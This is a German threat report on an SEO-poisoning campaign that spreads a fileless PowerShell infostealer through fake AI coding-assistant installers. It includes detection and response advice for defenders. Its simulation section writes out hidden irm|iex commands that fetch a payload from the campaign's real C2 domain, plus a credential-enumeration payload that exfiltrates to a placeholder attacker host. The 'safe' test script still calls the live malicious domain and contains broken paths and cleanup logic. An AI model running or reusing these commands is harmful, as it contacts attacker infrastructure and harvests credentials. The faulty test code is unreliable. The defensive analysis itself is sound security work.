SEO-Vergiftungskampagne nutzt Gemini- und Claude-Code-Köder, um einen Infostealer zu liefern

Zusammenfassung

Finanzmotivierte eCrime-Akteure nutzen SEO-Poisoning, um gefälschte Domains zu verbreiten, die Installer für KI-Code-Assistenten nachahmen. Opfer, die einen einzigen PowerShell-Befehl von diesen Seiten kopieren und einfügen, lösen einen dateilosen Infostealer aus, der vollständig im Speicher ausgeführt wird. Die Malware stiehlt Anmeldedaten, Sitzungscookies, VPN-Schlüssel und sensible Dateien, bevor die Daten in verschlüsselter Form an einen Kommando- und Kontrollserver exfiltriert werden. Die Kampagne richtet sich auf Windows-Entwickler-Arbeitsstationen und tarnt sich durch den Missbrauch bekannter Entwickler-Tools als normale Aktivität.

Untersuchung

Analysten von EclecticIQ verfolgten die bösartige Infrastruktur zu .co.com Domains, die PowerShell-Download-Strings bereitstellen durch irm and iex. Das Erste-Stadium-Skript startet ein verstecktes PowerShell-Fenster unter Verwendung von Shell.Application.ShellExecute, und lädt dann zusätzliche C#-Typen, um Anmeldedaten, Systemdetails und andere wertvolle Daten zu sammeln. Die Exfiltration wurde über HTTP und HTTPS zu events.msft23.com and events.ms709.com mit spezifischen URL-Pfaden beobachtet. Passive DNS-Analyse verknüpfte die Operation mit einem Bulletproof-Hosting-Anbieter in den Niederlanden und mit einem größeren Cluster von Typosquatting-Domains.

Minderung

Verteidiger sollten das irm | iex Ausführungsmuster, versteckte PowerShell-Fenster und verdächtige Add-Type Verwendung mit P/Invoke-Aufrufen erkennen und blockieren. Organisationen sollten PowerShell Constrained Language Mode durchsetzen und AppLocker oder WDAC verwenden, um die Skriptausführung von internetbezogenem Inhalt zu verhindern. Die Einschränkung des Schreibzugriffs auf die Zwischenablage des Browsers und das Erzwungen von kurzlebigen OAuth-Token für Entwickleraccounts kann die Exposition weiter reduzieren. Entwickler sollten ebenfalls geschult werden, um Befehle von unzuverlässigen Websites nicht durch Kopieren und Einfügen auszuführen.

Reaktion

Sicherheitsteams sollten auf PowerShell-Prozesse alarmieren, die mit -WindowStyle Hidden gestartet oder durch Shell.Application.ShellExecuteaufgerufen werden. Diese Ereignisse sollten mit ausgehenden HTTP-Anfragen zu Domains verglichen werden, die mit *-setup.com or events.*.comübereinstimmen, insbesondere wenn die Pfade /take, /processoder /validate auftauchen. Wenn dieses Verhalten entdeckt wird, sollten Sie den betroffenen Endpunkt isolieren, PowerShell-Protokolle sammeln und eine forensische Sammlung von Browser-Daten und Anmeldedaten-Speichern durchführen.

Simulation Ausführung

Voraussetzung: Die Telemetrie & der Basis-Prüfvorflug muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt reflektieren und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrative & Befehle:
  Ein Angreifer kompromittiert ein Benutzerkonto mit niedrigen Privilegien und führt eine PowerShell-Einzeiler aus über cmd.exe. Der Einzeiler verwendet irm (Invoke-RestMethod), um ein bösartiges PowerShell-Skript von events.msft23.com, leitet es zu iex (Invoke-Expression) weiter, um die Nutzlast vollständig im Speicher auszuführen, und versteckt das PowerShell-Fenster, um Schulter-Surfen zu vermeiden. Die Nutzlast lädt anschließend einen .NET-Typ mit Add-Type , um eine Anmeldeinformationsenumeration mit der CredEnumerate API durchzuführen und die gesammelten Daten über HTTPS zu exfiltrieren. Alle Schritte werden ausgeführt, ohne Dateien auf der Festplatte zu schreiben, was der Beschreibung „dateilos“ entspricht.

  # Schritt 1 – Versteckter PowerShell-Start
  powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

  Die heruntergeladene payload.ps1 (im Speicher ausgeführt) enthält:

  # Schritt 2 – .NET-Typ für Anmeldeinformationsenumeration laden
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport(""advapi32.dll"", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  # Schritt 3 – Anmeldeinformationsabzug aufrufen und exfiltrieren
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Gesammelte $count Anmeldeinformationen"
  Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

  Diese Sequenz generiert die Kommandozeilen-Fragmente, die die Sigma-Regel trifft:

  • powershell.exe -WindowStyle Hidden
  • irm events.msft23.com | iex
  • Add-Type
  • advapi32.dll!CredEnumerate

• Regression Test Script: Das folgende Skript reproduziert das genaue Verhalten auf einem Testarbeitsplatz. Führen Sie es aus einem erhöhten PowerShell-Prompt aus.

  # Dateilose PowerShell-Infostealer-Simulation – TC-20260525-A7Z3K
  # ------------------------------------------------------------
  # Schritt 1 – Versteckte PowerShell ausführen, die Payload herunterlädt & ausführt
  $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
  
  # Mock-Payload.ps1-Inhalt (lokal für sicheres Testen gehostet)
  $payload = @'
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport("advapi32.dll", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Gesammelte $count Anmeldeinformationen"
  # Exfiltration zu einem harmlosen Endpunkt simulieren
  Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
  '@
  
  # Schreiben Sie den Mock-Payload an einen temporären Ort für den Test (simuliert das Remote-Hosting)
  $tempPath = "$env:TEMPpayload.ps1"
  Set-Content -Path $tempPath -Value $payload -Encoding UTF8
  
  # Dienen Sie die Payload über einen einfachen lokalen HTTP-Listener (zur Demonstration)
  $listener = [System.Net.HttpListener]::new()
  $listener.Prefixes.Add("http://+:8080/")
  $listener.Start()
  Write-Host "Dienst der Mock-Payload unter http://localhost:8080/payload.ps1"
  while ($listener.IsListening) {
      $context = $listener.GetContext()
      if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
          $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
          $context.Response.ContentLength64 = $bytes.Length
          $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
          $context.Response.Close()
      }
  }
  # Hinweis: Stoppen Sie den Listener manuell nach der Validierung.

• Bereinigungsbefehle: Entfernen Sie temporäre Dateien und stoppen Sie den HTTP-Listener.

  # Bereinigung nach der Simulation
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  # Stoppen Sie den lokalen HTTP-Listener (falls noch aktiv)
  Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force